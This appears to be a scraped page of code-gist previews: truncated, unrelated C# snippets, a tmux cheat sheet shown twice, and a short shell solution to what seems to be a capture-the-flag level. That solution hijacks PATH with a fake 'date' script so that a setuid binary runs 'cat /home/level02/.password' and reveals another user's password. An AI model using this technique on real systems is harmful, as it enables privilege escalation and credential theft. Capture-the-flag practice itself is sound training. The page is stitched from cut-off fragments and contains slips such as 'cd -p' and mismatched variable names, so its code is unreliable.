As configured in my dotfiles.
start new:
tmux
start new with session name:
| mkdir -p /tmp/ungood | |
| cd -p /tmp/ungood | |
| echo 'cat /home/level02/.password' > date | |
| chmod a+x date | |
| export PATH=/tmp/ungood:$PATH | |
| /levels/level01 |
| // An action a mob can take. For example: wander, move towards goal, attack | |
| public interface IMobAction | |
| { | |
| bool CanExecute(Mob mob); | |
| void Execute(Mob mob); | |
| } | |
| // A simple example: | |
| public class WanderAction : IMobAction | |
| { |
| public class OrderProcessor | |
| { | |
| public OrderProcessor(IOrderAllocator allocator, IOrderFulfiller fulfiller) | |
| { | |
| // ... | |
| } | |
| public void Process() | |
| { | |
| } |
| // This is really elegant with methods, but really, really ugly with query expression | |
| public IQueryable<User> SearchUsers(string firstName, string lastName) | |
| { | |
| var query = getUserQuery(); | |
| if(!string.IsNullOrEmpty(firstName)) | |
| query = query.Where(user => user.FirstName == firstName); | |
| if(!string.IsNullOrEmpty(lastName)) | |
| query = query.Where(user => user.LastName == lastName); |
| using System; | |
| using System.Collections.Generic; | |
| using System.Linq; | |
| using System.Numerics; | |
| using System.Text; | |
| namespace ConsoleApplication4 | |
| { | |
| public static class BigIntegerExtensions | |
| { |
| public class GenerateAndCountCalculator : IMandelbrotCalculator | |
| { | |
| public int CalculatePoint(Complex c, int maxIterations) | |
| { | |
| return Generate(Complex.Zero, z => (z * z) + c) | |
| .TakeWhile(z => z.Magnitude <= 2) | |
| .Take(maxIterations) | |
| .Count(); | |
| } | |
| public class Program | |
| { | |
| public static void Main() | |
| { | |
| // Register | |
| using(var kernel = ConfigureKernel()) | |
| { | |
| // Resolve | |
| var program = kernel.Get<Program>(); | |
| program.Run(); |
| using System.Web; | |
| using BBCom.Gotham.Domain; | |
| using BBCom.Gotham.Service; | |
| using GothamMVC3.Helpers; | |
| using GothamMVC3.Navigation; | |
| using Ninject; | |
| using Ninject.Modules; | |
| using Ninject.Web.Common; | |
| using Ninject.Extensions.Conventions; | |
| using Telerik.Web.Mvc; |
As configured in my dotfiles.
start new:
tmux
start new with session name:
| // Store a deck in a bit array by the following algorithm: | |
| // value := pick[0]; | |
| // value = value * 51 + second pick | |
| // value = value * 50 + third pick | |
| // .. | |
| // value = value * 1 + 52nd pick | |
| // The first pick is pick[0] | |
| BigInt StoreDeck(params int[] picks) { | |
| BigInt value = pick[0]; | |
| for(int i = 1; i < picks.Length; i++) { |